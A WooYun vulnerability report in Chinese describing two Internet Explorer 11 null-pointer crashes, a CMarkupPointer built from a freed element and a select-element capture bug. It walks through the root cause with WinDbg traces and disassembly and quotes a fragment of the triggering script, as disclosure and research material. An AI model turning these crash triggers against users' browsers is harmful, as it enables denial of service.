当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079690

漏洞标题:Internet Explorer 11 crash x2(CMarkupPointer*/Js::ScriptFunction)

相关厂商:微软

漏洞作者: blast

提交时间:2014-10-17 09:57

修复时间:2015-01-15 09:58

公开时间:2015-01-15 09:58

漏洞类型:拒绝服务

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-17: 细节已通知厂商并且等待厂商处理中
2014-10-20: 厂商已经确认,细节仅向厂商公开
2014-10-23: 细节向第三方安全合作伙伴开放
2014-12-14: 细节向核心白帽子及相关领域专家公开
2014-12-24: 细节向普通白帽子公开
2015-01-03: 细节向实习白帽子公开
2015-01-15: 细节向公众公开

简要描述:

Internet Explorer 11 crash x2(CMarkupPointer*+Js类两个空指针), 附带啰嗦的一步步分析的过程。
虽然CMarkupPointer这个是从一个已经释放了的元素上生成的值,但是这个应该是无法利用的,只能崩崩崩。第二个是IE事件处理失误。

详细说明:

1、CMarkupPointer的,崩溃栈如下:

0:008> kvn
# ChildEBP RetAddr Args to Child
00 0443bb8c 510d5975 0443bbb8 0443bc00 033140b8 MSHTML!CDoc::CutCopyMove+0x3fd (FPO: [5,326,0])
01 0443bc50 510d71e9 033140b8 03313fa0 005e7b30 MSHTML!CDomRange::SurroundContentsHelper+0x1d9 (FPO: [Non-Fpo])
02 0443bcc4 510d2aa1 033136a8 00000002 10000002 MSHTML!CDomRange::surroundContents+0x188 (FPO: [1,21,4])
03 0443bcd8 5100fd8b 058b4660 510d7061 00000000 MSHTML!CJScript9Holder::ConvertFromVar<CDomRange>+0x24 (FPO: [Non-Fpo])
04 0443bcf8 68558e9d 039a5150 10000002 03835750 MSHTML!CFastDOM::CRange::Trampoline_surroundContents+0x3b (FPO: [Non-Fpo])
05 0443bd60 68556ce9 039a5150 10000002 03835750 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x165 (FPO: [Non-Fpo])
06 0443c0a8 68556548 0381924c 03828000 03819000 jscript9!Js::InterpreterStackFrame::Process+0x1cd7 (FPO: [Non-Fpo])
07 0443c1cc 05840fe9 0443c1e0 0443c218 68550685 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8 (FPO: [Non-Fpo])
WARNING: Frame IP not in any known module. Following frames may be wrong.
08 0443c1d8 68550685 03825300 00000000 0443c250 0x5840fe9
09 0443c218 6855100e 00000000 00000000 543730ef jscript9!Js::JavascriptFunction::CallFunction<1>+0x88 (FPO: [Non-Fpo])
0a 0443c284 68550f60 0324f2a0 00000000 00000000 jscript9!Js::JavascriptFunction::CallRootFunction+0x93 (FPO: [Non-Fpo])
0b 0443c2cc 68550ee7 0443c2ec 00000000 00000000 jscript9!ScriptSite::CallRootFunction+0x42 (FPO: [Non-Fpo])
0c 0443c2f0 6856d958 03825300 0443c334 00000000 jscript9!ScriptSite::Execute+0x6c (FPO: [4,2,0])
0d 0443c378 685c0f2d 0443c5e8 0443c608 5437366b jscript9!ScriptEngine::ExecutePendingScripts+0x196 (FPO: [Non-Fpo])
0e 0443c400 685c1a1c 056ba2ec 0331350c 038251e0 jscript9!ScriptEngine::ParseScriptTextCore+0x29e (FPO: [Non-Fpo])
0f 0443c450 5081ffc5 0324f078 056ba2ec 0569faac jscript9!ScriptEngine::ParseScriptText+0x5a (FPO: [Non-Fpo])
10 0443c488 50820101 056ba2ec 00000000 00000000 MSHTML!CActiveScriptHolder::ParseScriptText+0x42 (FPO: [Non-Fpo])
11 0443c4d8 5053bb59 056ba2ec 00000000 00000000 MSHTML!CJScript9Holder::ParseScriptText+0x6d (FPO: [Non-Fpo])
12 0443c540 50821264 00000000 03312df8 056b3440 MSHTML!CScriptCollection::ParseScriptText+0x155 (FPO: [Non-Fpo])
13 0443c62c 50820eb4 00000000 00000000 00000000 MSHTML!CScriptData::CommitCode+0x29f (FPO: [3,33,4])


先将帧切到第12帧,到ParseScriptText处

0:007> .frame /c 12
12 0412c110 54f21264 MSHTML!CScriptCollection::ParseScriptText+0x155


可见参数列表如下:

0412c110		    00000000 03d02fc0
0412c120 056f9a68 05679744 00000000 00000000
0412c130 00000000 0568390c 54f21364 54f21358
0412c140 0000005b 00000005 03d02fc0 00000082


查看对应

0:007> du 056f9a68  ;脚本类型
056f9a68 "text/javascript"
0:007> du 05679744 ;要执行的脚本
05679744 ".. function foo(event).. {.. "
05679784 " DIV.innerHTML = "a"; //CRASHES"
056797c4 " HERE.. }.."


这个函数是将脚本传递给CMarkup中对应的脚本Holder去处理的。它会将脚本送至Holder的ParseScriptText函数去处理。
所以,可以看到第11帧其实是:

11 0412c0a8 54c3bb59 05679744 00000000 00000000 MSHTML!CJScript9Holder::ParseScriptText+0x6d (FPO: [Non-Fpo])


接着11帧这个函数会把脚本继续传递,接着就在jscript中执行起来了。我们触发崩溃的一句是

div.innerHTML="a";


这个方法会导致div内的子元素发生删除事件,原Range内的数据发生了变化时,Range被标记为Dirty。因此,这里脚本的操作会导致CRange中发生一个Trampoline_surroundContents的改变通知。
因此,我们的重心只需要放在前5层中:

0:007> kvn
# ChildEBP RetAddr Args to Child
00 0412b74c 557d5975 0412b778 0412b7c0 03d05df0 MSHTML!CDoc::CutCopyMove+0x3fd (FPO: [5,326,0])
01 0412b810 557d71e9 03d05df0 03d05cd8 004907f0 MSHTML!CDomRange::SurroundContentsHelper+0x1d9 (FPO: [Non-Fpo])
02 0412b884 557d2aa1 03d03b38 00000002 10000002 MSHTML!CDomRange::surroundContents+0x188 (FPO: [1,21,4])
03 0412b898 5570fd8b 054d4690 557d7061 00000000 MSHTML!CJScript9Holder::ConvertFromVar<CDomRange>+0x24 (FPO: [Non-Fpo])
04 0412b8b8 5bc08e9d 0370ff00 10000002 037027e0 MSHTML!CFastDOM::CRange::Trampoline_surroundContents+0x3b (FPO: [Non-Fpo])


让我们看看MSHTML!CDoc::CutCopyMove。
已知的是MSHTML!CDoc::CutCopyMove参数里有3个CMarkupPointer*(或者IMarkupPointer*,要识别是否为IMarkupPointer,查看实际操作时是否有从MarkupService中CreateMarkupPointer)类型的数据,和一个DWORD、一个LONG类型的。前三个MarkupPointer对应的数据分别是PointerStart、PointerFinish,第三个是PointerTarget。
也即

HRESULT CDoc::CutCopyMove
(CMarkupPointer* a,
CMarkupPointer* b,
CMarkupPointer* c,
DWORD d,
LONG e
){...}


下断点,然后运行脚本,断在这里:

0:015> g
ModLoad: 5ddb0000 5de3c000 F:\Windows\SysWOW64\uiautomationcore.dll
ModLoad: 5e3f0000 5e44c000 F:\Program Files (x86)\Java\jre7\bin\deploy.dll
Breakpoint 0 hit
eax=00481790 ebx=00000000 ecx=00481790 edx=038541e8 esi=00000000 edi=03855ee0
eip=6155eda5 esp=03ccba60 ebp=03ccbb20 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!CDoc::CutCopyMove:
6155eda5 8bff mov edi,edi


参数如下

0:007> dd esp
esp +4 +8 +c
03ccba60 61fe582d 03ccba88 03ccbad0 00000000
+10 +14 +18 +1c
03ccba70 00000001 00000001 00000001 00000000


解引用两次,

0:007> ln poi(poi(esp+4))
(613117a0) MSHTML!CMarkupPointer::`vftable' | (613119a0) MSHTML!CDoc::`vftable'
Exact matches:
MSHTML!CMarkupPointer::`vftable' = <no type information>

0:007> ln poi(poi(esp+8))
(613117a0) MSHTML!CMarkupPointer::`vftable' | (613119a0) MSHTML!CDoc::`vftable'
Exact matches:
MSHTML!CMarkupPointer::`vftable' = <no type information>



可以看到esp+4/esp+8 (前两个参数)都是CMarkupPointer。

0:007> dd esp+4
03ccba64 03ccba88
0:007> dd poi(esp+4)
03ccba88 613117a0
0:007> dd esp+8
03ccba68 03ccbad0
0:007> dd poi(esp+8)
03ccbad0 613117a0


事实上,esp+4/esp+8 指向的是同一个Markup。
第三Markup为NULL,第四参数为1,第五参数为1。然后走一下代码:

0:007> 
eax=038541e8 ebx=00000000 ecx=00481790 edx=038541e8 esi=03ccba88 edi=03855ee0
eip=6155ee1d esp=03ccb538 ebp=03ccba5c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!CDoc::CutCopyMove+0x78:
6155ee1d 8b5058 mov edx,dword ptr [eax+58h] ds:002b:03854240=00000000


这一步开始edx就变为0了。这个eax+58 是什么?

0:007> dd eax
038541e8 61348d24
0:007> ln 61348d24
(61348d24) MSHTML!CMarkup::`vftable' | (61348f9c) MSHTML!CDocument::`vftable'
Exact matches:
MSHTML!CMarkup::`vftable' = <no type information>



eax是CMarkup,但是eax+58 的位置的值却是

0:007> dd eax+58
03854240 00000000


往上回溯,eax的值是在哪儿修改的?

0:007> 
eax=03ccbad0 ebx=00000000 ecx=00481790 edx=038541e8 esi=03ccba88 edi=03855ee0
eip=6155ee03 esp=03ccb53c ebp=03ccba5c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!CDoc::CutCopyMove+0x5e:
6155ee03 8b4624 mov eax,dword ptr [esi+24h] ds:002b:03ccbaac=e8418503


看到这里修改了eax,esi+24 是什么?

0:007> dd esi
03ccba88 613117a0
0:007> ln 613117a0
(613117a0) MSHTML!CMarkupPointer::`vftable' | (613119a0) MSHTML!CDoc::`vftable'
Exact matches:
MSHTML!CMarkupPointer::`vftable' = <no type information>
首先,esi是CMarkupPointer, esi+24 处是一个CMarkup。
0:007> dd 03ccba88+24
03ccbaac 038541e8
0:007> ln poi( 038541e8 )
(61348d24) MSHTML!CMarkup::`vftable' | (61348f9c) MSHTML!CDocument::`vftable'
Exact matches:
MSHTML!CMarkup::`vftable' = <no type information>


CMarkupPointer是一个Markup Service的一个指针,也就是说,它可以指向各种Markup,它的存在主要是为了表示位置。
而看这儿有一个好玩的东西是这个Markup附近的东西:

0:007> dd 03ccba88+20
+20 [+24 +28 +2c]
03ccbaa8 00481790 038541e8 03856298 03ccbad0
03ccbab8 00000000 ffffffff 00000000 038561e4
03ccbac8 00000000 00000000 613117a0 00000001


查看一下,038541e8 03856298 03ccbad0:

0:007> ln poi(038541e8)
(61348d24) MSHTML!CMarkup::`vftable' | (61348f9c) MSHTML!CDocument::`vftable'
Exact matches:
MSHTML!CMarkup::`vftable' = <no type information>
0:007> ln poi(03856298 )
(61fcd0d0) MSHTML!CRangeBoundaryMarkupPointer::`vftable' | (61fcd308) MSHTML!CTraversalMarkupPointer::`vftable'
Exact matches:
MSHTML!CRangeBoundaryMarkupPointer::`vftable' = <no type information>
0:007> ln poi(03ccbad0)
(613117a0) MSHTML!CMarkupPointer::`vftable' | (613119a0) MSHTML!CDoc::`vftable'
Exact matches:
MSHTML!CMarkupPointer::`vftable' = <no type information>




看看名字即可知道这是在做什么事情。那么暂时先不管它,看看esi是哪儿传入的。

0:007> 
eax=03ccbad0 ebx=00000000 ecx=00481790 edx=038541e8 esi=00000000 edi=03855ee0
eip=6155ede3 esp=03ccb53c ebp=03ccba5c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!CDoc::CutCopyMove+0x3e:
6155ede3 8b7508 mov esi,dword ptr [ebp+8] ss:002b:03ccba64=88bacc03


这可是一个大发现呀,居然是ebp+8 (第一个参数)传给它的东西,也就是说,问题出在上一层,上一层函数没有仔细检查就传了一个有问题的CMarkupPointer!(当然这一层也没仔细检查,也许它默认相信传来的都是正确的呢)
切到上一层:

0:007> .frame /c 1
01 03ccbb20 61fe71e9 MSHTML!CDomRange::SurroundContentsHelper+0x91
eax=038541e8 ebx=00000000 ecx=00481790 edx=00000000 esi=00000000 edi=03855ee0
eip=61fe582d esp=03ccba64 ebp=03ccbb20 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CDomRange::SurroundContentsHelper+0x91:
61fe582d 8bf0 mov esi,eax
0:007> ub .
MSHTML!CDomRange::SurroundContentsHelper+0x7c:
61fe5818 6a01 push 1
61fe581a 53 push ebx
61fe581b 8d4db0 lea ecx,[ebp-50h]
61fe581e 51 push ecx
61fe581f 8d8d68ffffff lea ecx,[ebp-98h]
61fe5825 51 push ecx
61fe5826 8bc8 mov ecx,eax
61fe5828 e8789557ff call MSHTML!CDoc::CutCopyMove (6155eda5)


不妨重跑一次,追踪罪魁祸首。这回我们的断点要断在MSHTML!CDomRange::SurroundContentsHelper上。(不过很可能问题依然是出在它的上一层)
断下之后一路无脑p即可:
//注意这儿的ecx!这是第一个参数,也就是下面导致崩溃的那个

0:008> 
eax=0076ac28 ebx=040b5848 ecx=03eab978 edx=00000000 esi=00000000 edi=040b7df8
eip=61fe596d esp=03eab958 ebp=03eaba10 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CDomRange::SurroundContentsHelper+0x1d1:
61fe596d 51 push ecx
0:008>
eax=0076ac28 ebx=040b5848 ecx=03eab978 edx=00000000 esi=00000000 edi=040b7df8
eip=61fe596e esp=03eab954 ebp=03eaba10 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CDomRange::SurroundContentsHelper+0x1d2:
61fe596e 8bc8 mov ecx,eax
0:008>
eax=0076ac28 ebx=040b5848 ecx=0076ac28 edx=00000000 esi=00000000 edi=040b7df8
eip=61fe5970 esp=03eab954 ebp=03eaba10 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CDomRange::SurroundContentsHelper+0x1d4:
61fe5970 e8309457ff call MSHTML!CDoc::CutCopyMove (6155eda5)
0:008>
(18ac.1454): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=040b5848 ecx=040b8bb0 edx=00000000 esi=03eab978 edi=040b5848
eip=6155ebc1 esp=03eab428 ebp=03eab94c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
MSHTML!CDoc::CutCopyMove+0x3fd:
6155ebc1 83ba0801000000 cmp dword ptr [edx+108h],0 ds:002b:00000108=????????


老样子,查一下,确实是CMarkupPointer*:

0:008> ln poi(03eab978)
(613117a0) MSHTML!CMarkupPointer::`vftable' | (613119a0) MSHTML!CDoc::`vftable'
Exact matches:
MSHTML!CMarkupPointer::`vftable' = <no type information>


看看这个ecx是哪儿传来的:

0:008> 
eax=0076ac28 ebx=040b5848 ecx=03eab9c0 edx=00000000 esi=00000000 edi=040b7df8
eip=61fe5967 esp=03eab958 ebp=03eaba10 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CDomRange::SurroundContentsHelper+0x1cb:
61fe5967 8d8d68ffffff lea ecx,[ebp-98h]


看代码是从 ebp-98h 传来的。

0:008> 
eax=0076ac28 ebx=00000000 ecx=040b7df8 edx=0bcebd00 esi=00000000 edi=040b7df8
eip=61fe57bb esp=03eab960 ebp=03eaba10 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!CDomRange::SurroundContentsHelper+0x1f:
61fe57bb 8d8d68ffffff lea ecx,[ebp-98h]
0:008>
eax=0076ac28 ebx=00000000 ecx=03eab978


可是,一直搜索到MSHTML!CDomRange::SurroundContentsHelper+0x1f ,ebp-98 的值都是03eab978,这代表什么?
看看当时的ebp-98 的值为何物?

03eab978 613117a0 
0:008> ln 613117a0
(613117a0) MSHTML!CMarkupPointer::`vftable' | (613119a0) MSHTML!CDoc::`vftable'
Exact matches:
MSHTML!CMarkupPointer::`vftable' = <no type information>


看来它从函数开头处就几乎存在了,

0:008> 
eax=00000000 ebx=00000000 ecx=040b7df8 edx=0bcebd00 esi=00000000 edi=040b7df8
eip=61fe57b5 esp=03eab964 ebp=03eaba10 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CDomRange::SurroundContentsHelper+0x19:
61fe57b5 e89ba73aff call MSHTML!CElement::Doc (6138ff55)
0:008>
eax=0076ac28 ebx=00000000 ecx=040b7df8 edx=0bcebd00 esi=00000000 edi=040b7df8
eip=61fe57ba esp=03eab964 ebp=03eaba10 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!CDomRange::SurroundContentsHelper+0x1e:
61fe57ba 50 push eax
0:008>
eax=0076ac28 ebx=00000000 ecx=040b7df8 edx=0bcebd00 esi=00000000 edi=040b7df8
eip=61fe57bb esp=03eab960 ebp=03eaba10 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!CDomRange::SurroundContentsHelper+0x1f:
61fe57bb 8d8d68ffffff lea ecx,[ebp-98h]


但是,在这之前却没有发现什么代码显式地修改了ebp-98 的值,不过在+0x1f 上方不远就是一个call MSHTML!CElement::Doc 。看来这儿有点嫌疑,让我们倒回去看一看。重新启动例程,这回我们断在MSHTML!CDomRange::SurroundContentsHelper+0x19 处。

0:018> g
ModLoad: 74a50000 74b80000 F:\Windows\SysWOW64\windowscodecs.dll
ModLoad: 5ddb0000 5de3c000 F:\Windows\SysWOW64\uiautomationcore.dll
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=03872668 edx=0bcebd00 esi=00000000 edi=03872668
eip=61fe57b5 esp=03c6b7c4 ebp=03c6b870 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246
MSHTML!CDomRange::SurroundContentsHelper+0x19:
61fe57b5 e89ba73aff call MSHTML!CElement::Doc (6138ff55)
0:008> dd ebp-98h
03c6b7d8 61401cc2
0:008> ln 61401cc2
(61401ca3) MSHTML!CDocument::PrivateRelease+0x1b | (61401ce2) MSHTML!CImplPtrAry::DeleteByValue


哦?看来这儿的归属可能是CDocument的PrivateRelease或者CImplPtrAry的DeleteByValue?怎么看都不像是一个正常的东西呀。p一下,看看结果:

0:008> p
eax=0028bd98 ebx=00000000 ecx=03872668 edx=0bcebd00 esi=00000000 edi=03872668
eip=61fe57bb esp=03c6b7c0 ebp=03c6b870 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
MSHTML!CDomRange::SurroundContentsHelper+0x1f:
61fe57bb 8d8d68ffffff lea ecx,[ebp-98h]
0:008>
eax=0028bd98 ebx=00000000 ecx=03c6b7d8 edx=0bcebd00 esi=00000000 edi=03872668
eip=61fe57c1 esp=03c6b7c0 ebp=03c6b870 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206
MSHTML!CDomRange::SurroundContentsHelper+0x25:
61fe57c1 e8a2e13dff call MSHTML!CMarkupPointer::CMarkupPointer (613c3968)
0:008> ln poi(ecx)
(61401ca3) MSHTML!CDocument::PrivateRelease+0x1b | (61401ce2) MSHTML!CImplPtrAry::DeleteByValue
0:008> p
eax=03c6b7d8 ebx=00000000 ecx=00000000 edx=03c6b7d8 esi=00000000 edi=03872668
eip=61fe57c6 esp=03c6b7c8 ebp=03c6b870 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200286
MSHTML!CDomRange::SurroundContentsHelper+0x2a:
61fe57c6 53 push ebx
0:008> ln poi(ebp-98)
(613117a0) MSHTML!CMarkupPointer::`vftable' | (613119a0) MSHTML!CDoc::`vftable'
Exact matches:
MSHTML!CMarkupPointer::`vftable' = <no type information>


看看,问题找到了,在执行到CDoc之前,ebp-98h 存储的都是一个已经释放的元素的Pointer,但是

MSHTML!CDomRange::SurroundContentsHelper+0x1f:
61fe57bb 8d8d68ffffff lea ecx,[ebp-98h]
MSHTML!CDomRange::SurroundContentsHelper+0x25:
61fe57c1 e8a2e13dff call MSHTML!CMarkupPointer::CMarkupPointer (613c3968)


把这个地址传给了CMarkupPointer的构造函数!而且由此生成了一个CMarkupPointer*!这个CMarkupPointer在传递给子函数的时候,子函数直接就引用了这个指向空元素的CMarkupPointer,导致程序崩溃。
2、Js::ScriptFunction 导致的崩溃
再看第二个崩溃,这个崩溃出现在CElement::SecurityContext的第一行。

(438.1b5c): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=00000000 edi=04fb3300
eip=50468f09 esp=03aac0ec ebp=03aac0f8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!CElement::SecurityContext:
50468f09 f7412400000300 test dword ptr [ecx+24h],30000h ds:002b:00000024=????????
0:008> kvn
# ChildEBP RetAddr Args to Child
00 03aac0e8 504849b8 00000000 00000000 03aac154 MSHTML!CElement::SecurityContext (FPO: [0,0,0])
01 03aac0f8 50e5aac9 00000000 00000000 032858f8 MSHTML!CElement::TakeCapture+0x11 (FPO: [2,1,4])
02 03aac108 51026e43 03aac2e0 00000001 04fb3300 MSHTML!CSelectElement::ReleaseCapture+0xe (FPO: [0,0,4])
03 03aac154 5102766f 03aac2e0 03aac2e0 032858f8 MSHTML!CSelectLayout::HandleListBoxMouseMessage+0x256 (FPO: [Non-Fpo])
04 03aac188 50961f2e 04fb3300 03aac2e0 03aac2e0 MSHTML!CSelectLayout::HandleMessage+0x241 (FPO: [2,7,4])


看上一帧传入的内容。

0:008> .frame /c 1
01 03aac0f8 50e5aac9 MSHTML!CElement::TakeCapture+0x11
eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=00000000 edi=04fb3300
eip=504849b8 esp=03aac0f0 ebp=03aac0f8 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!CElement::TakeCapture+0x11:
504849b8 837d0800 cmp dword ptr [ebp+8],0 ss:002b:03aac100=00000000
0:008> ub .
MSHTML!CElement::TakeCapture:
504849a7 8bff mov edi,edi
504849a9 55 push ebp
504849aa 8bec mov ebp,esp
504849ac 83e4f8 and esp,0FFFFFFF8h
504849af 51 push ecx
504849b0 56 push esi
504849b1 8bf1 mov esi,ecx
504849b3 e85145feff call MSHTML!CElement::SecurityContext (50468f09)


当然,一定要看清楚,我最开始的时候,没有看到这里push ecx,push esi,光看到了mov esi,ecx和FPO了,以为它是以修改之后的esi和ecx(esi == ecx的情况)为准的,一直在上两层函数里面找问题,平白无故浪费了1个小时。
下几个断点。
bp MSHTML!CSelectLayout::HandleListBoxMouseMessage+0x251 ".printf \"[CSelectLayout]ecx %d-edi %d\n\", @ecx, @edi;g;"
bp MSHTML!CElement::TakeCapture ".printf \"[CElement]ecx %d-edi %d\n\", @ecx, @edi;g;"

....
[CSelectLayout]ecx 87194048-edi 87194048
[CElement]ecx 61503920-edi 61503920
[CElement]ecx 0-edi 87194048
(1988.1858): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=00000000 edi=053279c0
eip=50468f09 esp=03f2c1cc ebp=03f2c1d8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
MSHTML!CElement::SecurityContext:
50468f09 f7412400000300 test dword ptr [ecx+24h],30000h ds:002b:00000024=????????


经过这么多输出之后,我们看到了一个重要线索,在点击鼠标之后,这个操作被触发了2次,而且是在第二次崩溃的,崩溃这次,ecx为0,也正好和最后SecurityContext内的崩溃相等。让我们加个条件:
bp MSHTML!CSelectLayout::HandleListBoxMouseMessage+0x251 ".printf \"[CSelectLayout]ecx %d-edi %d\n\", @ecx, @edi;g;"
bp MSHTML!CElement::TakeCapture ".printf \"[CElement]ecx %d-edi %d-thread 0x%x\n\", @ecx, @edi, @@c++(@$teb->ClientId.UniqueThread);k;g;"
我们获得了清爽的输出,和崩溃:

0:016> g
[CSelectLayout]ecx 91460968-edi 91460968
[CElement]ecx 60578040-edi 60578040-thread 0x1084
ChildEBP RetAddr
0418b390 50e5aac9 MSHTML!CElement::TakeCapture
0418b3a0 50e5a35d MSHTML!CSelectElement::ReleaseCapture+0xe
0418b3b0 506eb496 MSHTML!CSelectElement::Morph+0x131
0418b3d4 50708b67 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x10f2dd
0418b44c 50708bc0 MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1e9
0418b46c 509a8848 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
0418b494 50fad19d MSHTML!CBase::put_LongHelper+0x26
0418b4b8 561a8e9d MSHTML!CFastDOM::CHTMLSelectElement::Trampoline_Set_size+0x54
0418b520 561a9712 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x165
0418b540 561a967e jscript9!Js::JavascriptOperators::CallSetter+0x106
0418b588 561f71af jscript9!Js::JavascriptOperators::CallSetter+0x76
0418b5b0 561f6ea2 jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0xbd
0418b5d0 561f6ee3 jscript9!Js::JavascriptOperators::OP_SetProperty+0x40
0418b60c 561f78fc jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x4d
0418b958 561a6548 jscript9!Js::InterpreterStackFrame::Process+0x2d6d
0418ba64 05810fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
WARNING: Frame IP not in any known module. Following frames may be wrong.
0418ba70 561a0685 0x5810fe9
0418bab8 561a100e jscript9!Js::JavascriptFunction::CallFunction<1>+0x88
0418bb24 561a0f60 jscript9!Js::JavascriptFunction::CallRootFunction+0x93
0418bb6c 561a0ee7 jscript9!ScriptSite::CallRootFunction+0x42
0418bb94 561a993c jscript9!ScriptSite::Execute+0x6c
0418bbf0 561a9878 jscript9!ScriptEngineBase::ExecuteInternal<0>+0xbb
0418bc08 506fb78f jscript9!ScriptEngineBase::Execute+0x1c
0418bcbc 506fb67c MSHTML!CListenerDispatch::InvokeVar+0x102
0418bce8 506fb21e MSHTML!CListenerDispatch::Invoke+0x61
0418bd80 506fb385 MSHTML!CEventMgr::_InvokeListeners+0x1a2
0418bef4 504f98bb MSHTML!CEventMgr::Dispatch+0x35a
0418bf1c 506ff63d MSHTML!CEventMgr::DispatchEvent+0x8c
0418bf30 506eb26c MSHTML!CElement::Fire_onchange+0x4a
0418bf80 50e5c1ae MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x10f0a6
0418bfac 510289f6 MSHTML!CSelectElement::SubmitDispCache+0x40
0418bfb8 51028dd5 MSHTML!CSelectLayout::OnReleaseCapture+0x30
0418bfc0 51026e43 MSHTML!CSelectLayout::ReleaseCapture+0xa
0418c00c 5102766f MSHTML!CSelectLayout::HandleListBoxMouseMessage+0x256
0418c040 50961f2e MSHTML!CSelectLayout::HandleMessage+0x241
0418c060 50e599d8 MSHTML!CElement::HandleMessage+0xa8
0418c098 50baef7b MSHTML!CSelectElement::HandleMessage+0x598
0418c0a8 50a6454a MSHTML!CElement::HandleCaptureMessage+0x20
0418c13c 508c35ca MSHTML!CDoc::PumpMessage+0x1078
0418c2b0 50d39b96 MSHTML!CDoc::OnMouseMessage+0x274
0418c2d8 50c8811b MSHTML!CMouseHandler::HandleUserInteractionMessage+0x39
0418c300 50a5f8df MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x12dce9
………………
[CElement]ecx 0-edi 91460968-thread 0x1084
ChildEBP RetAddr
0418bfb0 50e5aac9 MSHTML!CElement::TakeCapture
0418bfc0 51026e43 MSHTML!CSelectElement::ReleaseCapture+0xe
0418c00c 5102766f MSHTML!CSelectLayout::HandleListBoxMouseMessage+0x256
0418c040 50961f2e MSHTML!CSelectLayout::HandleMessage+0x241
0418c060 50e599d8 MSHTML!CElement::HandleMessage+0xa8
0418c098 50baef7b MSHTML!CSelectElement::HandleMessage+0x598
0418c0a8 50a6454a MSHTML!CElement::HandleCaptureMessage+0x20
0418c13c 508c35ca MSHTML!CDoc::PumpMessage+0x1078
0418c2b0 50d39b96 MSHTML!CDoc::OnMouseMessage+0x274
0418c2d8 50c8811b MSHTML!CMouseHandler::HandleUserInteractionMessage+0x39
0418c300 50a5f8df MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x12dce9
………………
(1ad8.1084): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=00000000 edi=05739568
eip=50468f09 esp=0418bfa4 ebp=0418bfb0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!CElement::SecurityContext:
50468f09 f7412400000300 test dword ptr [ecx+24h],30000h ds:002b:00000024=????????


发现了什么吗?鼠标点击时会导致HandleListBoxMouseMessage被触发

<00664> 000F0776 S WM_NCHITTEST xPos:473 yPos:179
